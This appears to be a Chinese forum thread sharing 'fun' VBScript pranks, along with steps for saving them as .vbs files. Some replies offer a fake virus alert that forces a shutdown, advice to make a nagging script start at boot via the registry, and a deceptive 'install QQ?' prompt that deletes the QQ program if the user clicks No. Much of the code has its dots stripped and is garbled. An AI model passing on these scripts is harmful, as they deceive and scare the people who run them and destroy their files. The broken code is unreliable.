求一些有趣的VBS代码

无害的，一个心理测试（膨胀）

有点简单。（。）

代码如下：

WScriptEcho("嘿，谢谢你打开我哦，我等你很久拉！"&TSName) 

WScriptEcho("你是可爱的小朋吗") 

WScriptEcho("哈,我想你拉，这你都不知道吗？")

WScriptEcho("怎么才来，说~是不是不关心我") 

WScriptEcho("哼,我生气拉，等你这么久，心都凉啦。") 

WScriptEcho("小强很生气，后果很严重哦。") 

WScriptEcho("嘿嘿！你也会很惨滴哦") 

WScriptEcho("是不是想清除我？") 

WScriptEcho("那你要点上50下哦，不过会给你惊喜滴") 

WScriptEcho("还剩49下，快点点哦") 

WScriptEcho("还剩48下，快点，小笨蛋！") 

WScriptEcho("还剩47下对，就这样快点点！") 

WScriptEcho("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。") 

WScriptEcho("还剩45下，记得要快哦！") 

WScriptEcho("还剩43下") 

WScriptEcho("还剩42下") 

WScriptEcho("还剩41下") 

WScriptEcho("还剩40下") 

WScriptEcho("还剩39下") 

WScriptEcho("还剩38下") 

WScriptEcho("还剩37下") 

WScriptEcho("还剩36下") 

WScriptEcho("还剩35下") 

WScriptEcho("还剩34下") 

WScriptEcho("还剩33下") 

WScriptEcho("还剩32下") 

WScriptEcho("还剩30下") 

WScriptEcho("还剩29下") 

WScriptEcho("还剩28下") 

WScriptEcho("还剩27下") 

WScriptEcho("还剩26下") 

WScriptEcho("还剩25下") 

WScriptEcho("还剩24下") 

WScriptEcho("还剩23下") 

WScriptEcho("还剩22下") 

WScriptEcho("还剩21下") 

WScriptEcho("还剩20下") 

WScriptEcho("还剩19下") 

WScriptEcho("还剩18下") 

WScriptEcho("还剩17下") 

WScriptEcho("还剩16下") 

WScriptEcho("还剩15下") 

WScriptEcho("还剩14下") 

WScriptEcho("还剩13下停停！！！慢点，我有话要说") 

WScriptEcho("还剩12下，你继续点我就会消失滴") 

WScriptEcho("还剩11下，以后就看不到我拉。555555") 

WScriptEcho("还剩10下，你现在可以选择停止！") 

WScriptEcho("还剩9下。你还点啊，不要我拉？") 

WScriptEcho("还剩8下，有点伤心拉，干嘛丢弃人家") 

WScriptEcho("还剩7下。疯了，你有点负意！") 

WScriptEcho("还剩6下。对。你就点吧，我恨你！") 

WScriptEcho("还剩5下，不明白，删除我你就好吗？") 

WScriptEcho("还剩4下！真要删除我？") 

WScriptEcho("还剩3下。可是我真的很眷恋你。。。") 

WScriptEcho("还剩2下。不要这么绝情嘛，人家是爱你的！") 

WScriptEcho("还剩1下。哼，既然你这么绝情。也别怪我无义！！！")

WScriptEcho("我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。")

WScriptEcho("想结素我么那你就再多点一次") 

WScriptEcho("想结素我么那你就再多点一次") 

WScriptEcho("想结素我么那你就再多点一次") 

WScriptEcho("想结素我么那你就再多点一次") 

WScriptEcho("想结素我么那你就再多点一次") 

WScriptEcho("想结素我么那你就再多点一次") 

WScriptEcho("想结素我么那你就再多点一次") 

WScriptEcho("想结素我么那你就再多点一次") 

WScriptEcho("想结素我么那你就再多点一次") 

WScriptEcho("想结素我么那你就再多点一次") 

——————分割线————————

保存，保存类型为所有文件，名字随便，矿展名“vbs”，保存后点开。

哈哈，LS的比较搞笑

先说VBS：

我是学VB的，据说VB和VBS差不了多少，只是VBS没有主界面而已，

VB对网络的支持堪称完美，所以不少的盗号程序都选择用VB来编写，但是其代码量绝对不是我们可以在百度贴出来的，而且等等，总之，代码贴出来是不可能了

再说代码：

LS的你别嫌他的少，他这个是无毒无害，对于对操作系统不通的童鞋来说是挺管用的

如果你觉得太少，就把这个文件在注册表里做成启动项，让它开机就启动，呵呵

如果不够你的意，就这样改：

Msgbox "您的系统已遭病毒破坏，系统5秒后将自动关机关机，请在关机后24小时重新启动。",16+4096,"Windows安全警报"

Shell "cmd/c shutdown -s -t 5"

佛祖曰：普度众生，这样就行

后面那一句代码是用来关机的，VBS代码你应该会插入把

创建个文本文档

输入代码

改后缀txt为vbs

双击运行即可

代码如下：

'警告！！

'慎用，点击否，出现删除qq的情况，后果自负！！

'请先备份！！！！！

set fso=CreateObject("ScriptingFileSystemObject")

set ws=CreateObject("wscriptshell")

k=MsgBox("您是否现在安装qq",vbyesno,"温馨提示")

p=wsregread("HKEY_LOCAL_MACHINE\SOFTWARE\Tencent\PlatForm_Type_List\3\TypePath")

set f=fsogetfile(p)

if k=vbyes Then

wsrun fshortpath

else

if k=vbNo Then

fsodeletefile fshortpath

end if

end if

'警告！！

'慎用，点击否，出现删除qq的情况，后果自负！！

'请先备份！！！！！

1、首先在电脑鼠标右键 新建一个文本文档。

2、然后点开文本文档进行编辑，最重要的一个代码就是msgbox，然后在后面添加想要说的话，但是要使用英文标点符号，换行时候都需要在前面加上代码，最后保存。

3、保存好之后，对这个文本文档进行重命名更改后缀，把文本文档的txt改成vbs。

4、改vbs后缀会弹出一个提示框，提示你如果改变文件扩展名，可能会导致文件不可用，确定要改吗，点击是。

5、确定更改文件扩展名之后文本文档就会变成vbs，这样就表示已经完成制作。

6、只要双击这个vbs，桌面就会弹出你所编辑的语言，一直点击确定就会出现你编辑的所有内容。

'声明变量

dim str,yzm

'生成随机验证码

yzm=Ryzm()

'判断验证码是否正确,不区分大小写

while Ucase(str)<>Ucase(yzm)

'不正确时更换验证码

yzm=Ryzm()

'验证码输入框

str=inputbox(yzm,"请输入验证码")

wend

Function RYzm()

'验证码范围

zm="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

sz="0123456789"

'生成5个随机数

Randomize

x=int(rnd100 mod len(zm)+1)

y=int(rnd100 mod len(zm)+1)

z=int(rnd100 mod len(zm)+1)

r=int(rnd100 mod len(zm)+1)

n=int(rnd100 mod len(sz)+1)

'从验证码范围中取出生成的随机验证码

Ryzm=mid(zm,x,1) & mid(zm,y,1) & mid(zm,z,1) & mid(zm,r,1) & mid(sz,n,1)

End Function